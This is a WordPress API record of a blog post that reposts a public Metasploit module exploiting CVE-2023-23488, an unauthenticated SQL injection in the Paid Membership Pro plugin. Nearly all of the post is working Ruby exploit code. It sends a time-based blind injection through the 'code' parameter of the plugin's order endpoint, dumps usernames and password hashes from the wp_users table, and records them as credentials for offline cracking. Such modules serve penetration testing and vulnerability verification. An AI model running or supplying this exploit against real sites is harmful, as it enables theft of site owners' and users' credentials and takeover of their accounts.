{"id":59354,"date":"2024-09-01T20:29:39","date_gmt":"2024-09-01T17:29:39","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181175\/wp_paid_membership_pro_code_sqli.rb.txt"},"modified":"2024-09-01T20:29:39","modified_gmt":"2024-09-01T17:29:39","slug":"wordpress-paid-membership-pro-code-unauthenticated-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-paid-membership-pro-code-unauthenticated-sql-injection\/","title":{"rendered":"Wordpress Paid Membership Pro Code Unauthenticated SQL Injection"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HTTP::Wordpress<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Exploit::SQLi<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Wordpress Paid Membership Pro code Unauthenticated SQLi&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Paid Membership Pro, a WordPress plugin,<br \/>prior to 2.9.8 is affected by an unauthenticated SQL injection via the<br \/>`code` parameter.<\/p>\n<p>Remote attackers can exploit this vulnerability to dump usernames and password hashes<br \/>from the `wp_users` table of the affected WordPress installation. These password hashes<br \/>can then be cracked offline using tools such as Hashcat to obtain valid login<br \/>credentials for the affected WordPress installation.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # msf module<br \/>&#8216;Joshua Martinelle&#8217;, # Original bug discovery and writeup<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2023-23488&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.tenable.com\/security\/research\/tra-2023-2&#8217;],<br \/>],<br \/>&#8216;Actions&#8217; =&gt; [<br \/>[&#8216;List Users&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Queries username, password hash for USER_COUNT users&#8217; }]],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;List Users&#8217;,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-01-12&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS],<br \/>&#8216;Reliability&#8217; =&gt; []}<br \/>)<br \/>)<br \/>register_options [<br \/>OptInt.new(&#8216;USER_COUNT&#8217;, [true, &#8216;Number of user credentials to enumerate&#8217;, 3])<br \/>]end<\/p>\n<p>def check_host(_ip)<br \/>unless wordpress_and_online?<br \/>return Msf::Exploit::CheckCode::Safe(&#8216;Server not online or not detected as wordpress&#8217;)<br \/>end<\/p>\n<p>checkcode = check_plugin_version_from_readme(&#8216;paid-memberships-pro&#8217;, &#8216;2.9.8&#8217;)<br \/>if checkcode == Msf::Exploit::CheckCode::Safe<br \/>return Msf::Exploit::CheckCode::Safe(&#8216;Paid Membership Pro version not vulnerable&#8217;)<br \/>end<\/p>\n<p>checkcode<br \/>end<\/p>\n<p>def run_host(ip)<br \/>id = Rex::Text.rand_text_numeric(1..10)<br \/>@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|<br \/>res = send_request_cgi({<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path),<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;rest_route&#8217; =&gt; &#8216;\/pmpro\/v1\/order&#8217;,<br \/>&#8216;code&#8217; =&gt; &#8220;#{id}&#8217; OR (select 1 from (select(#{payload}))a)&#8211; -&#8220;<br \/>}<br \/>})<br \/>fail_with(Failure::Unreachable, &#8216;Connection failed&#8217;) unless res<br \/>end<\/p>\n<p>unless @sqli.test_vulnerable<br \/>print_bad(&#8220;#{peer} &#8211; Testing of SQLi failed. If this is time based, try increasing SqliDelay.&#8221;)<br \/>return<br \/>end<br \/>columns = [&#8216;user_login&#8217;, &#8216;user_pass&#8217;]\n<p>print_status(&#8216;Enumerating Usernames and Password Hashes&#8217;)<br \/>print_warning(&#8216;Each user will take about 5-10 minutes to enumerate. Be patient.&#8217;)<br \/>data = @sqli.dump_table_fields(&#8216;wp_users&#8217;, columns, &#8221;, datastore[&#8216;USER_COUNT&#8217;])<\/p>\n<p>table = Rex::Text::Table.new(&#8216;Header&#8217; =&gt; &#8216;wp_users&#8217;, &#8216;Indent&#8217; =&gt; 1, &#8216;Columns&#8217; =&gt; columns)<br \/>data.each do |user|<br \/>create_credential({<br \/>workspace_id: myworkspace_id,<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: user[0],<br \/>private_type: :nonreplayable_hash,<br \/>jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),<br \/>private_data: user[1],<br \/>service_name: &#8216;Wordpress&#8217;,<br \/>address: ip,<br \/>port: datastore[&#8216;RPORT&#8217;],<br \/>protocol: &#8216;tcp&#8217;,<br \/>status: Metasploit::Model::Login::Status::UNTRIED<br \/>})<br \/>table &lt;&lt; user<br \/>end<br \/>print_good(&#8216;Dumped table contents:&#8217;)<br \/>print_line(table.to_s)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HTTP::Wordpressinclude Msf::Auxiliary::Scannerinclude Msf::Exploit::SQLiprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Wordpress Paid Membership Pro code Unauthenticated SQLi&#8217;,&#8216;Description&#8217; =&gt; %q{Paid Membership Pro, a WordPress plugin,prior to 2.9.8 is affected by an unauthenticated SQL injection via the`code` parameter. Remote attackers can exploit this vulnerability to &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59354","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59354","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59354"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59354\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59354"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59354"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59354"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}